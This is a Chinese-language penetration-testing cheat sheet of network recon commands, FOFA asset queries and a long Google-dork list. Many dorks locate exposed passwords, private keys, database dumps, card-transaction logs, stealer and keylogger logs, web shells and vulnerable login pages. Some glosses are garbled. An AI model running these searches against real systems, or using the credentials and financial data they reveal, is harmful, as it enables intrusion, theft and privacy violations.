网络安全渗透葵花宝典
写在前面
本宝典特点
- All in One
- 纯文本
- 不断完善…
因此敬请收藏原始链接使用,便于得到最新版本!
温馨提醒:本宝典仅供已有安全基础者查阅,务必遵纪守法,渗透之前务必先取得书面授权,严禁未经授权非法攻击正常网络!
渗透测试流程
- 明确目标
-
信息收集
-
漏洞探测
-
漏洞验证
-
信息分析
-
获取所需
-
信息整理
-
编写报告
安全渗透命令大全
花里胡哨
cmatrix 屏幕显示彩虹雨
apt install cmatrix
cmatrix
信息收集
ping 网络是否畅通
判断主机之间网络是否畅通,同样也是能判断我们的目标主机是否存活
ping 12306.cn -c 3 -4
然而PING命令也延伸出了很多其他的命令,如ARPING、FPING、HPING等
arping 获取MAC地址
ARP协议概述:ARP协议是“Address Resolution Protocol”(地址解析协议)的缩写。计算机通过ARP协议将IP地址转换成MAC地址。
arping 192.168.1.77
fping 是否存活
┌──(root㉿kali02)-[~]
└─# fping 192.168.1.77
192.168.1.77 is alive
#地址段的存活主机
fping -ag 192.168.1.0/24 > fping.txt
#或
fping -ag 192.168.1.1 192.168.1.254 > fping.txt
cat fping.txt
#公网也可以用
fping -ag 公网ip/24
arp-scan ARP扫描工具
仅局域网能用
arp-scan -l
arp-scan -I eth1 -l
netdiscover ARP侦察
#主动模式 主动的探测发现网络内主机,但是这种方式往往会引起网络管理员的注意
netdiscover
netdiscover -i eth0 -r 192.168.1.0/24
#被动模式
#被动模式的方法更加隐蔽,但是速度会比较慢,网卡被设置为混杂模式来侦听网络内的 arp 数据包
#进行被动式探测,这种方式就需要网络内设备发送 arp 包才能被探测到。
netdiscover -p
nslookup 查看域名
nslookup 12306.cn
nslookup www.baidu.com
Traceroute命令对路由进行跟踪
traceroute www.baidu.com
tcpdump 抓包命令
tcpdump
-c 包数量
-n 对IP以数字方式显示,否则显示主机名
port 指定端口
-i 指定tcpdump需要监控的接口名,默认第一个网络接口。
tcpdump -c 10 -i eth0 -n port 22
#绝对ack值
tcpdump -c 10 -i eth0 -n port 22 -S
wireshark 抓包软件
图形界面抓包工具
过滤表达式
host 192.168.1.1
src host 192.168.1.1
dst host 192.168.1.1
#抓取80端口
port 80
_ws.col.protocol == "HTTP"
_ws.col.protocol == "ARP"
!(_ws.col.protocol == "RDPUDP")
ip.dst_host!=Broadcast
!(ip.dst == 192.168.1.77)
#源主机和 协议
src host 192.168.0.14 and tcp
src host 192.168.0.14 and port 80
ip.src_host==192.168.1.53 and ip.dst_host==192.168.1.1
ip.src_host==192.168.1.53 or ip.dst_host==192.168.1.1
#kali和网关相互通信的数据包
(ip.src_host==192.168.1.53 and ip.dst_host==192.168.1.1) or
(ip.src_host==192.168.1.1 and ip.dst_host==192.168.1.53)
#源或目标是kali和网关(上面的过滤的简写)
ip.addr==192.168.1.53 and ip.addr==192.168.1.1
#源或目标是kali
ip.addr==192.168.1.53
#TCP 协议分析
tcp && tcp.port==13810
tshark (wireshare命令行)
Dump and analyze network traffic.
tshark -r backdoor++.pcap -Y "icmp&&ip.addr==123.123.123.123" -T fields -e data > icmp.txt
netstat 网络连接状态命令
netstat -antup|grep 22
Whois命令查询
whois 12306.cn
ping全球
ping.chinaz.com 是一个中文的在线工具,可以方便地进行ping操作,并获取目标域名的IP地址。
浏览器访问:https://ping.chinaz.com/ 输入域名:12306.cn,然后点击 Ping检测
https://ping.chinaz.com
https://ip138.com/
Layer收集子域名信息
- 搜索引擎挖掘 如: 在Google中输入 site:qq.com
- 第三方网站查询:http://tool.chinaz.com/subdomain、https://dnsdumpster.com/
- 证书透明度公开日志枚举:https://crt.sh/
- 子域名挖掘工具 :Layer子域名挖掘机。
FOFA资产检索搜索引擎收集信息
信息查找FOFA
https://fofa.info/
https://en.fofa.info/
直接输入查询语句,将从标题,html内容,http头信息,url字段中搜索;
从标题中搜索“12306”
title="12306"
搜索chatGPT网站使用
title=="ChatGPT Web"
body可以通过页面中包含的特定字符串来搜索资产。
body="关于开展铁路旅客高铁宠物运输问卷调查的说明"
搜索根域名中包含12306.cn的资产,此方法相当于子域名的搜索。
domain="12306.cn"
搜索域名中带有"edu"关键词的网站
host="edu"
搜索域名资产
is_domain=true
非域名资产
is_domain=false
搜索HTTP响应头中含有"thinkphp"关键词的网站和IP
header="thinkphp"
搜索全球开放22端口的服务器
port=”22“
、搜索开放3389端口并且位于中国的IP
port="3389" && country=CN
搜索开放80或443端口,响应状态码为200的资产
(port="80" || port="443") && status_code="200"
http状态码参考:
https://baike.baidu.com/item/HTTP%E7%8A%B6%E6%80%81%E7%A0%81/5053660?fr=ge_ala
搜索指定IP或IP段
ip="120.27.6.1/24"
ip="120.97.56.1"
按更新时间搜索资产
筛选2024-08-06之后有更新的资产
after="2024-08-06"
筛选2024-08-01之前有更新的资产
before="2024-08-01"
筛选某一时间区间有更新的资产
after="2024-08-01" && before="2024-08-06"
实战-FOFA根据地区搜索
country="CN" 搜索指定国家(编码)的资产。
region="Xinjiang" 搜索指定行政区的资产。 [ˈriːdʒən] 区域
city="beijing" 搜索指定城市
搜索在JP的服务器
country="JP"
搜索在JP Tokyo的服务器
country="JP" && city="Tokyo"
国家代号表:http://www.sol.com.cn/tool/guojia.html
排除地区方法使用 !=
搜索不在JP的服务器
country !="JP"
搜索在浙江省的资产
region="Zhejiang"
实战-通过FOFA搜索phpinfo信息泄露资产
title="phpinfo()" 或 body="allow_call_time_pass_reference"
实战-搜索后台登录页面
title="后台管理"
title="后台管理" || title="后台登录" || title="管理登录"
搜索使用thinkphp框架开发的,服务器在国内的网站的后台登录页面
header="thinkphp" && country="CN" && (title="后台管理" || title="后台登录" || title="管理登录")
header="thinkphp" && port="80" && country="CN" && after="2024-11-14" && status_code="200"
header="wordpress" && country="CN"
搜索html正文中含有"管理后台"关键词的网站和IP
body="管理后台"
通过页面中包含的js文件进行查询定位
js_name="./script/core/lib/require.js"
搜索中国台湾地区所有的Discuz! X3.4论坛
app="Tencent-Discuz" && body="Discuz! X3.4"&& region="TW"
other
port="3389" && country="jp" && city="tokyo"
port="80" && country="JP" && is_ipv6=true
#[811001] 规则不存在 ?
app="WordPress" && country="US"
#ftp目录服务
title="Index Of" && body=".bash_history"
google 渗透专用搜索语法
Google Hacking 基础使用方法
- site 指定域名,限制你搜索范围的域名
- inurl URL 中存在的关键字页面
- intext 只搜索网页部分中包含的文字(也就是忽略了标题,URL 等的文字)
- Filetype 搜索文件的后缀或者扩展名
- intitle 网页标题中的关键字
Google Hacking 举例
inurl:Login 将返回url中含有Login的网页
inurl:/admin/login.php 将返回含有admin后台的网页
inurl:/phpmyadmin/index.php 将返回含有phpmyadmin后台的网页
inurl:share.cgi?ssid= 云服务器文件和文件夹共享
inurl:"img/main.cgi?next_file" 在线摄像头
inurl:_vti_pvt/administrators.pwd 用于检索MS FrontPage共享点的敏感信息登录/密码
inurl:front/central.php 包含登录门户的页面
inurl:zabbix.php AND intext:"Zabbix SIA" zxbbix网络监控系统
inurl:"/wp-admin/setup-config.php"
intitle:"Setup Configuration File" 找未完成的安装Wordpress
intitle:后台登录管理员 将返回含有管理员后台的网页
intitle:"Welcome to QNAP Turbo NAS" QNAP登录页面
inurl:scgi-bin intitle:"NETGEAR ProSafe" 千兆防火墙。默认用户名:admin。默认密码:密码inurl:scgi-bin
intext:后台登录 将返回含有后台的网页
index of /admin 发现允许目录浏览的web网站
site:http://baidu.com inur:Login 将只在http://baidu.com中查找urI中含有Login的网页
site:http://baidu.com filetype:pdf 将只返回http://baidu.com站点上文件类型为pdf的网页
link:http://www.baidu.com 将返回所有包含指向http://www.baidu.com的网页
related:http://www.llhc.edu.cn 将返回与http://www.llhc.edu.cn相似的页面,相似指的是网页的布局相似
ext:log inurl:"/pgadmin" 包含多媒体信息的文件,pgAdmin客户端日志文件
"http://m.zippyshare.com/" 敏感目录
"-- Account dump" ext:sql-git 使用标签查找关于MySQL转储的信息
inurl:index of= %2F /admin login %2F intitle:"Administration Login - 网络托管公司的管理员登录
intitle:"twonky server" inurl:"9000" -intext:"9000" 查找Twonky媒体共享服务器
inurl:"sitemanager.xml" ext:xml -git 查找FileZilla站点管理器文件,其中包含FTP用户名和密码Dxtroyer
intitle:"Sign in · GitLab" 查找GitLab登录页面
inurl:"/api/index.php" intitle:UniFi 查找具有多信息的UniFi API浏览器,如WiFi密码redstoner2014
inurl:"wp-content/uploads/file-manager/log.txt" WordPress插件文件管理器日志文件有趣的信息
"TX_start" "card_name" ext:log 从商店查找交易记录,其中包含多汁的信用卡/借记卡信息
intitle:"Namenode information" AND inurl:":50070/dfshealth.html" 用于基础设施Hadoop的NameNode存储信息
inurl:/_layouts/mobile/view.aspx?List= 包含用户名的文件
inurl:".php?id=" "You have an error in your SQL syntax" 找到sql注入的网站
inurl:/proc/self/cwd 遭到入侵的易受攻击的Web服务器
inurl:/remote/login?lang=en 查找FortiGate防火墙的SSL-VPN登录门户
intitle:"Plesk Onyx" intext:"Interface language" 查找Plesk Onyx登录页面
intitle:"GitBucket" intext:"Recent updated repositories" intext:"Sign In" 查找GitBucket服务器
intitle:"cuckoo sandbox" "failed_reporting" cuckoo 失败报考
"You‘re successfully running JSON Server" 成功运行JSON服务器
index of /htdocs 用于查找未经授权的Web服务器,并通过‘htdocs‘文件夹查找所有敏感信息
inurl:login.cgi intitle:NETGEAR NETGEAR 在线查找GSS108E ProSAFE PoE +点击开关,默认密码password
inurl:"/ap/recuperadocumentossql.aspx" AuraPortal:内部文件
intitle:"Namenode information" 查找无密封的文件系统,等待被利用
inurl:"/ADVANCED/COMMON/TOP" 查找无密码的爱普生打印机
filetype:ini "wordfence". 找到运行Wordfence WAF的WordPress网站
intitle:"Index of" "Apache/2.4.7 (Ubuntu) Server" 用于查找Ubuntu服务器和某个版本的Apache
"Sorting Logs:" "Please enter your password" "Powered By" -urlscan -alamy 找到stealer僵尸网络控制面板
intitle:"Index of /" "mod_ssl 2.2.22 OpenSSL/1.0.1" 找到易受攻击的Bug Dxtroyer的OpenSSL服务器
intitle:"Index of /" "Proudly Served by Surftown at" 查找Surftown HTTP服务器Dxtroyer
"Blocking Reason:" ext:log -git 找到安全漏洞日志Dxtroyer
inurl:"/logs/www" ext:log 查找连接日志,用户代理,错误等
intitle:"Index of /" "joomla_update.php" 找到具有Joomla日志的目录,通常包含多汁的信息
intext:uploadOverwrite || intext:OPEN || intext:cwd cwd作者
intext:DB_PASSWORD || intext:"MySQL hostname" ext:txt 允许你搜索WordPress配置
site:http://pastebin.com intext:"*@*.com:*" 查找http://pastebin.com转储的邮件列表,密码TPNight
inurl:"g2_view=webdav.WebDavMount" 查找启用WebDAV的网站TPNight
-inurl:htm -inurl:html intitle:"index of" NIKON 浏览尼康数码单反相机和相机目录中上传和保存的图像和照片
-inurl:htm -inurl:html intitle:"index of" 100CANON 浏览佳能的目录中上传和保存的图像和照片
"Protocol=unreal" ext:ini -git 到虚幻游戏文件,可能包含管理员密码
inurl:"/Windows/Cookies/"ext:txt -telecom -forbidden -git查找Windows存储的Cookie,可能包含加密的用户名和密码
"[FFFTP]" ext:ini 使用FTP登录,服务器信息等查找文件
"random‘s system information tool" ext:txt 从系统信息工具找信息
inurl:app/config/intext:parameters.yml intitle:index.of 目录:Symfony(PHP Framework)包含
inurl:"dcwp_twitter.php?1=" 使用私人消息,加密凭证等查找Twitter API日志
intitle:"Setup Home" "Internet Status" -belkin 找到互联网连接的Arris路由器
inurl:"ftp://www." "Index of /" 查找在线FTP服务器
intitle:"CGIWrap Error" 查找包含一些有趣信息的CGIWrap脚本错误
"Consola de Joomla! Debug" inurl:index.php 提供以下信息>会话>配置文件信息>内存使用>数据库注册表
inurl:"pubdlcnt.php?file=" ext:php 找到重定向漏洞.
"-- MySQL Administrator dump" ext:sql 找到一些不错的数据库转储,可能包含用户名,密码和其他
"-----BEGIN X509 CERTIFICATE-----" ext:pem -git 查找X.509服务器证书
"START securepay" ext:log 查找交易记录(有时包含信用卡号码和其他多汁的信息
inurl:"8080/jmx-console" 将列出所有未经身份验证的jboss服务器与jmx-console访问
inurl:"Login;jsessionid=" 查找通用的JS登录门户
inurl:"idx_config" 找到通过shell抓取配置
inurl:"exit.php?url=" -entry_id 页面易受任意重定向
"KVP_ENCDATA:Version=1.0" ext:log 查找具有银行帐户信息的交易记录
allinurl:"/wp-content/plugins/wp-noexternallinks" 找到易受XSS影响的“无外部链接”插件“”错误
"resources.db.params.password" ext:ini -git 找数据库用户名和密码
intitle:"Dell SonicWALL - Authentication" 发现戴尔防火墙服务器
intitle:"webcamXP 5" -download 查找WebcamXP相机
inurl:"http://ftp.dlink" 允许我们找到D-Link路由器的FTP目录列表
intitle:"Authorization" "TF" inurl:"admin.php" 找到一堆未受保护的僵尸网络控制面板
inurl:"http://webmail." 查找各种网络邮件服务器
inurl:"/siteadmin/index.php" 找到管理控制台
ext:reg"[HKEY_CURRENT_USER\Software\ORL\WinVNC3]" -git 使用WinVNC密码查找文件
"mysqli_connect" ext:inc 查找包含MySQL用户名和密码的脚本
"MiniToolBox by Farbar" ext:txt 查找具有IP配置,DNS信息,应用程序错误等的日志!
"WEB Browser Password Recovery" ext:txt WEB浏览器密码重置
"Operating System Intel Recovery" ext:txt 操作系统英特尔恢复
"iSpy Keylogger" "Passwords Log" ext:txt iSpy Keylogger日志密码
ext:php intext:"-rwxr-xr-x" site:.in 受影响的软件
inurl:http://core.windows.net ext:xlsx 可以更改文件扩展名或运行没有扩展名
"-- MySQL dump" ext:sql -git 查找MySQL数据库转储,用户名,密码
inurl:/helpdesk/staff/index.php? 找到“Kayako软件票务门户登录页面”
inurl:/_catalogs 识别sharepoint服务器
inurl:/pub/ inurl:_ri_ 使用Oracle Responsys的服务器*
inurl:"/data/urllist.txt" ext:txt -git 文网站地图,其中包含robots.txt
"Log in" "Magento is a trademark of Magento Inc." 查找Magento管理登录
intitle:index of intext:@WanaDecryptor@.exe Wannacry Ransonware感染的服务器
" End Stealer " ext:txt 333从“Black Stealer” 中查找日志,这是一个互联网密码
"--- WebView Livescope Http Server Error ---" -git WebView服务器错误,主要发现在旧服务器
intitle:index of intext:wncry 找到受Wannacry Ransomware影响的服务器
inurl:"/view/view.shtml?id=" 查找Axis IP摄像机
intitle:"Welcome to ZyXEL" http://-zyxel.com 查找ZyXEL路由器,IP摄像机和其他设备
"FileZilla" inurl:"recentservers.xml" -git 查找FileZilla最新的服务器文件,带有纯文本用户名/密码
"SECRET//NOFORN" ext:pdf 找到秘密政府文件
"PHP Fatal error: require()" ext:log 找到PHP错误日志
inurl:"go.cgi?url=" 找到可以利用来重定向 可以将其用于网络钓鱼
(site:onion.link | site:onion.cab | site:http://tor2web.org | site:onion.sh | site:tor2web.fi | site:onion.direct) 查找托管在Tor网络托管的网站
inurl:"http://voicemail." 各种语音邮件服务器
"Stealer by W33DY" ext:txt 找到具有用户名,密码和网站
inurl:"this.LCDispatcher?nav=" 查找连接到互联网Dxtroyer的HP打印机
inurl:"multimon.cgi" intitle:"UPS" 找到现场交通显示器
inurl:"member.php?action=login" 查找由MyBB 登录页面
"Section" inurl:"xorg.conf" ext:conf -wiki Xorg X的配置文件,包含受害者的计算机信息
inurl:"lvappl.htm" 找到连接到互联网服务器(主要是安全摄像头
intitle:index of AND (intext:mirai.x86 OR intext:mirai.mips OR intext:mirai.mpsl OR
intext:mirai.arm OR intext:mirai.arm7 OR intext:mirai.ppc OR intext:mirai.spc OR intext:mirai.m68k OR intext:mirai.sh4) 查找感染服务器
inurl:"/zebra.conf" ext:conf -git 查找GNU Zebra登录凭据
"screen mode id:" ext:rdp RDP基本上是Windows认证的后门
inurl:"/Windows/Cookies/" ext:txt -git 所有种类的网站的Cookie
inurl:"/drive/folders/" site:http://drive.google.com Google云端硬盘文件夹
inurl:"/fmi/webd" 登录另一个文件云文件夹
"HTTP" inurl:"access.log" ext:log 查找包含有关网站活动信息的日志
inurl:"folderview?id=" site:http://drive.google.com 查找人员的私人文件夹
"Index of" inurl:"/$Recycle.Bin/" Windows回收箱
inurl:"http://Makefile.in" ext:in 使用私有服务器信息查找配置文件
inurl:/j_security_check;jsessionid= 可以访问很多登录页面
intext:VIEWS · Server: - Database: information_schema - Table: SCHEMA_PRIVILEGES · Browse · Structure · SQL · Search · Export 访问网站phpmyadmin的web服务器
"[dirs]" inurl:"mirc.ini" -git 查找mIRC配置文件
ext:fetchmailrc 查找.fetchmailrc文件与电子邮件登录信息
"[main]" "enc_GroupPwd=" ext:txt 找到Cisco VPN客户端密码
"InnoDB:" ext:log 找到MySQL错误日志
"-----BEGIN RSA PRIVATE KEY-----" ext:key ### 一些哈希(密码,证书等
"Scan result of Farbar Recovery Scan Tool" ext:txt Farbar恢复扫描工具扫描结果
" AdwCleaner" ext:txt 查找AdwCleaner logfiles
"/wp-admin/admin-ajax" ext:txt 查找robots.txt文件,其中提供有关服务器更敏感方面的信息
"WHMCS Auto Xploiter" 发现WHMCS在站点Dxtroyer中利用shellz
powered by h5ai 由h5ai提供*您可以浏览文件
"[PHPSESSID]" ext:log 查找由PHP Dxtroyer生成的会话ID的日志
"Access Denied" "Powered by Incapsula" ext:php 查找触发了Incapsula WAF Dxtroyer的易受攻击的页面
"authentication failure; logname=" ext:log 查找失败登录的日志文件,其中包含用户名和登录路径
filetype:bak inurl:php "mysql_connect" 包含MySQL数据库密码的PHP备份
inurl:"/load.cgi" ext:cgi 查找更多页面易受重定向的
"Logfile of Trend Micro HijackThis" ext:log 趋势微劫持的日志文件
"LGD_CARDNUM" ext:log -site:http://camper.com 查找部分信用卡号,银行帐户信息
inurl:"/HtmlAdaptor?action="
"[boot loader]" "WINNT" ext:ini 查找boot.ini文件,显示在服务器
inurl:"mail" ext:mai 发送的私人电子邮件
"%@" ext:ascx 查找ASP配置和设置
intitle:"Nessus Scan Report" ext:html 查找Nessus(漏洞扫描程序
"SERVER_ADDR" "SERVER_PORT" "SERVER_NAME" ext:log 查找具有服务器信息的日志
inurl:"exit.php?site=" 查找允许您将用户重定向到任何网站的文件
inurl:"/SecureAuth1" SecureAuth登录,密码重置i
inurl:"/admin.php?cont=" 找到Radius Manager登录页面
" -FrontPage-" ext:pwd 查找MS Frontpage密码
inurl:"/sitemap.xsd" ext:xsd 找到导致站点地图的文件...有用于查找登录门户和内容
inurl:"/fb_ca_chain_bundle.crt" ext:crt 查找Facebook留下的安全证书,可能有一些有用的信息
"El Moujahidin Bypass Shell" ext:php 简单上传
" This file was generated by libcurl! Edit at your own risk." ext:txt cookie数据,有时包含易受攻击的信息
"END_FILE" inurl:"/password.log" 查找用户特定的登录信息
-english -help -printing -companies -archive -wizard -pastebin -adult -keywords "Warning: this page requires Javascript. To correctly view, please enable it in your browser" 用于fortinet防火墙登录网络的
"INSERT INTO phpbb_users" ext:sql 查找具有用户名和散列密码的文件
"havij report" "Target" ext:html 显示havij sqli注射报告
inurl:"/admin/index.php?msg=" inurl:"%20" 找到可以XSS‘d和编辑的页面
intitle:"Priv8 Mailer Inbox 2015" ext:php 只是另一个邮件:P请不要使用垃圾邮件
inurl:"-wp13.txt" 找到MySQL,ABSPATH,Wordpress等配置文件
intext:Table structure for table `wp_users` filetype:sql 网站数据库转储信息
"Joomla! Administration Login" inurl:"/index.php" 查找Joomla管理员登录页面
"Index of" "logins.json" "key3.db" 查找包含保存的Firefox密码,浏览历史记录等
"Greenstone receptionist" inurl:"/etc/main.cfg" 查找Web应用程序配置
"PGP SIGNED MESSAGE-----" inurl:"md5sums" FINDs(MD5,SHA1等
inurl:"/phpinfo.php" "PHP Version" 找到phpinfo()页面
inurl:".php?cat=" inurl:"‘" 查找易受SQL注入攻击的站点
"Fatal NI connect error" ", connecting to:" ext:log 找到不同应用程序日志的全部负载
inurl:"/attachment/" ext:log 查找具有LOTS信息的Web应用程序日志
"Below is a rendering of the page up to the first error." ext:xml 错误信息
inurl:"/irclogs/" ext:log 找到IRC日志
( ext:php ) ( inurl:/wp-content/uploads/AAPL/loaders/ ) 找到网络shell
filetype:pcmcfg 搜索pulseway应用程序
inurl:cgi-bin/lsnodes_web?node 在线无线电状态节点
inurl:/profile.php?lookup=1 网站和论坛的管理员名称
"your default password is" filetype:pdf 初始密码
inurl:".Admin;-aspx }" "~Login" 管理员登录-Xploit
inurl:?filesrc=**** ~"Current" ~"asp" 不同的上传的shell名称
ext:svc inurl:wsdl Web服务描述语言
inurl:".reset;-.pwd }" "~ User" 门户登录存储用户信息
"CF-Host-Origin-IP" "CF-Int-Brand-ID" "CF-RAY" "CF-Visitor" "github" -site:http://github.com -site:http://cloudfare.com http://cloudfare.com替换“http://github.com
httrack inurl:hts-log.txt ext:txt http://-github.com httrack网站复制日志的数据
inurl:sendmessage.php?type=skype 反映XSS易受攻击的
site:http://onedrive.live.com shared by 识别共享存档
intitle:"Login - OpenStack Dashboard" inurl:"dashboard" 登录 - OpenStack仪表板登录
inurl:"/graphs" intext:"Traffic and system resource graphing" 查看mikrotik图形界面inurl的结果
intitle:"FormAssembly Enterprise :" 包含表单组织用于收集信息。有些敏感
inurl:forgot.do;jsessionid= 忘记密码门户
site:http://cloudshark.org/captures password 包含密码的PCAP捕获
inurl:/o/oauth2 inurl:client_id 搜索这个将返回与OAuth2协议中的认证过程一起使用的各种客户端ID
intitle:Login "Login to pfSense" "Password" "LLC" pfSense防火墙管理登录页面
inurl:iProber2.php ext:php 类别:包含多媒体信息的文件漏洞作者
inurl:/\\filesrc=**** ~"Current" ~":/" ~"upload" 网站上涵盖的大量外壳后门鼠标列表
inurl:~/ftp://193 filetype:(php | txt | html | asp | xml | cnf | sh) ~‘/html‘ 通过IP地址查找FTP服务器列表
inurl:/index.php?option=com_artforms 组件SQL注入
"dirLIST - PHP Directory Lister" "Banned files: php | php3 | php4 | php5 | htaccess | htpasswd | asp | aspx" "index of" ext:php 禁止文件
intitle:"index of/" CCCam.cfg 配置文件包含CCCam服务器的用户和密码
inurl:cgi-bin "ARRIS Enterprises" 面板ARRIS路由器
inurl:"/viewlsts.aspx?BaseType="
"Powered by AutoIndex PHP Script" ext:php 敏感目录和文件包含多媒体信息
inurl:action=php.login 你可以找到不同的管理页面
"All site content" ext:aspx Sharepoint管理网
inurl:admin inurl:uploads 从上传网站捕获图像和文字
inurl:/fckeditor/editor/plugins/ajaxfilemanager/ajaxfilemanager.php 敏感目录
inurl:http://github.com intitle:config intext:"/msg nickserv identify" 原始密码
inurl:"/html/modeminfo.asp? NetGear路由器信息
intitle:"Log In to AR Web" 华为AR路由器登录面板
inurl:user_guide intext:"CodeIgniter User Guide" 离线用户指南
allinurl: http://drive.google.com/open?id= 文件和用户共享谷歌驱动器的数据
site:http://webex.com inurl:tc3000 访问一些会议信息
inurl:"/debug/default" intitle:"Yii Debugger" Yii调试器PHP框架服务器信息
inurl:proftpdpasswd proftpd密码
inurl:/mjpg/video.mjpg 在线设备
intitle:"Vigor Login Page" Vigor路由器登录面板
Meg4-Mail ext:php PHP邮箱
intitle:"Integrated Dell Remote Access Controller 6 - Enterprise" 戴尔远程访问控制器
Hostinger ? 2016. All rights reserved inurl:default.php Hostinger虚拟主机客户端默认公开页面,敏感目录列表
"PHP Credits" "Configuration" "PHP Core" ext:php inurl:info info另一种查看Phpinfo()的方式
inurl:".esy.es/default.php" public_html文件夹中的文件列表
"PHP Mailer" "priv8 Mailer" ext:php
intitle:"SonicWALL - Authentication" SonicWALL防火墙登录门户
intitle:"Login" inurl:"/doc/page/login.asp" HikVision网络摄像头的界面
inurl:/php/info.php Web服务器检测
"PHP eMailer is created by" ext:php
intitle:Leaf PHP Mailer by [leafmailer.pw] ext:php
"File Manager Version 1.0" "Coded By" 文件管理器
inurl:ManageFilters.jspa?filterView=popular 提供热门的JIRA问题主题
intext:SOAP 1.1 intext:SOAP 1.2 intext:UPLOAD intext:GET intext:POST inurl:op 识别易受攻击的网站
https://paper.dropbox.com inurl:/doc/
intitle:"HFS" "Server Uptime" "Server time" Web服务器检测
inurl:"apc.php" intitle:"APC INFO"
"PHP Version" inurl:/php/phpinfo.php 关PHP安装的信息的页面
"Upload" inurl:"https://webfiles" 发现页面易受目录遍历,上传和下载文件的影响
inurl:"-/monitoring" "statistics of JavaMelody" 监控JavaEE应用程序。允许可视化sql请求
"[HKEY_CURRENT_USER\Software\sota\FFFTP]" filetype:reg Windows服务器的多媒体信息的文件
inurl:http://calendar.google.com/calendar/embed?src= 公开的Google日历
(@http://gmail.com || @http://yahoo.com || @http://hotmail.com) ext:php inurl:compose mail邮件服务器的邮件帐户名和其他数据
intitle:"open webif" "Linux set-top-box" 允许完全控制Dreambox TV机顶盒的Web界面
inurl:/mjpgmain.asp 名称= Y-cam的实时视图
inurl:/web/device/login?lang=1 h3c web管理登录页面
intitle:"StrongLoop API Explorer" intext:"Token Not Set" 寻找开放的Strongloop的环回API资源管理器
"This WebUI administration tool requires scripting support" intitle:‘Login‘ intext:‘Admin Name:‘ -score Juniper Netscreen WebUI登录页面
inurl:"https://vdi" Horizo??n登录页面
index:"html/js/editor/fckeditor/editor/filemanager/connectors" 敏感目录
inurl:/?skipANDROID=true intext:"Pydio Community" Pydio社区,云和安全的FTP服务器登录
inurl:"html/js/editor/ckeditor/" 敏感目录入口
"generated by Munin" inurl:index -intext:index localhost Munin网络小组
"You have selected the following files for upload (0 Files)." 查找文件上传页面
inurl:/human.aspx?r= 安全的ftp服务器登录
inurl:"/wp-content/wpclone-temp/wpclone_backup/" 备份目录包含WordPress用户名和密码
inurl:"/sgdadmin/" Secure Global Desktop Oracle Secure Global桌面控制台和管理员帮助
intitle:"nstview v2.1:: http://nst.void.ru" | intext:"nsTView v2.1 :: nst.void.ru. Password: Host:"
filetype:php intext:Your Email: intext:Your Name: intext:Reply-To: intext:mailer 邮箱用户名修改页面
inurl:log -intext:log ext:log inurl:wp- 从wordpress网站上获取日志
inurl:ipf.conf -intext:ipf.conf ext:conf Solaris系统防火墙
inurl:wp-content/debug.log 启用调试日志的一些操作...
intitle:Sign In inurl:/adfs/ls/?wa=wsignin1.0 用户登录页面
(inurl:"8080/monitorix" & intext:"Hostname") | inurl:"8080/monitorix-cgi" Monitorix系统监控工具web界面
inurl:"/login/login.html" intitle:"Greenbone Security Assistant" OpenVAS登录页面
inurl:"/weathermap/weathermap-cacti-plugin.php" 通过Weathermap Cacti插件映射IT基础设施
intext:"Web Application Report" intext:"This report was created by IBM Security AppScan" ext:pdf 搜索IBMAppScan漏洞报告
"Web Application Assessment Report" ext:pdf 搜索HP WebInspect扫描报告
inurl:index of driver.php?id= 发现操作系统警告
intitle:"bandwidthd" "programmed by david hinkle, commissioned by derbytech wireless networking." BandwidthD搜索报告
inurl:/Portal/Portal.mwsl 这是西门子S7系列PLC控制器的代号
inurl:/FCKeditor/editor/filemanager/upload/ 受保护的文件进行身份验证。
inurl:Dialin/Conference.aspx 登录门户的页面
inurl:pictures intitle:index.of 负载的个人图片
inurl:sgms/auth 找到Sonicwall GMS服务器
site:http://static.ow.ly/docs/ intext:@http://gmail.com | Password 缓存中的密码的文档
inurl:DiGIR.php fnkym0nky描述
intext:"Dumping data for table `orders`" 个人信息的SQL转储文件
filetype:sql intext:wp_users phpmyadmin wp漏洞报告
"index of" bigdump.php 交错的MySQL转储进口商文件
"Index of /wp-content/uploads/backupbuddy_backups" zip 搜索iThemes BackupBuddy备份拉链
intext:"/showme.asp" HTTP_ACCEPT HTTP_ACCEPT服务器的应用程序和会话内容
intext:"/LM/W3SVC/" ext:asp 提供信息的asp ServerVariables
inurl:top.htm inurl:currenttime 在线相机
intext:"Hello visitor from" ext:asp
intext:"expects parameter 1 to be resource, boolean given" filetype:php 易受攻击的基于mysql的网站
inurl:/awcuser/cgi-bin/ Mitel系统
site:http://github.com ext:csv userid | username | user -example password 用户 示例密码诱饵
inurl:"/wp-content/uploads/levoslideshow/" Webshel??l上传
Zixmail inurl:/s/login? Zixmail安全电子邮件登录门户
inurl:"/wp-content/plugins/wp-mobile-detector/" ext:php Detector 3.5远程Shell上传
inurl:trash intitle:index.of 敏感目录
inurl:.ssh intitle:index.of authorized_keys SSH密钥
inurl:/remote/login/ intext:"please login"|intext:"FortiToken clock drift detected" 录门户的页面
intitle:"Hamdida X_Shell Backd00r" 后门
inurl:/WebInterface/login.html CrushFTP的登录页面可能会弹出其他程序的FTP页面
intext:"Powered by BOMGAR" BOMGAR在线设备
intext:"Forum software by XenForo?" 论坛软件”XenForo SQLi漏洞
ext:php inurl:"api.php?action=" SQLi漏洞
inurl:"/webmail/" intitle:"Mail - AfterLogic WebMail" -site:http://afterlogic.org -site:http://afterlogic.com WebMail XXE注入漏洞
filetype:txt "gmail" | "hotmail" | "yahoo" -robots site:gov | site:us 电子邮件
inurl:citrix inurl:login.asp -site:http://citrix.com Citrix登录门户网站
inurl:vidyo -site:http://vidyo.com inurl:portal Vidyo门户
intitle:"MODX CMF Manager Login" 搜索MODX登录门户
"Fenix Final Version v2.0" filetype:php Web-Shell新的
inurl:demo.browse.php intitle:getid3 getID3演示可以允许目录遍历,删除文件等
inurl:/sites/default/files/webform/ Drupal默认的Web表单的存储路径
intext:"eav" filetype:txt NOD32防病毒帐户的用户名和密码的文件
intitle:"Struts Problem Report" intext:"development mode is enabled." Struts问题报告
index of /wp-content/uploads/userpro csv文件发现有很多个人信息
inurl:"/owncloud/public.php" -github -forum 共享文件Owncloud
inurl:"/eyeos/index.php" -github -forum 登录门户的页面
inurl:"/owncloud/index.php" -github -forum owncloud门户页面
inurl:configfile.cgi configfile.cgi D0bby
filetype:pwd intitle:index 登录门户的页面
site:http://github.com filetype:md | filetype:js | filetype:txt "xoxp-" 松散认证令牌
/@fmb80_encoder.htm 声音技术在广播fm
filetype:pdf intitle:"SSL Report" SSL报告主机
intitle:"Skipfish . scan" Skipfish
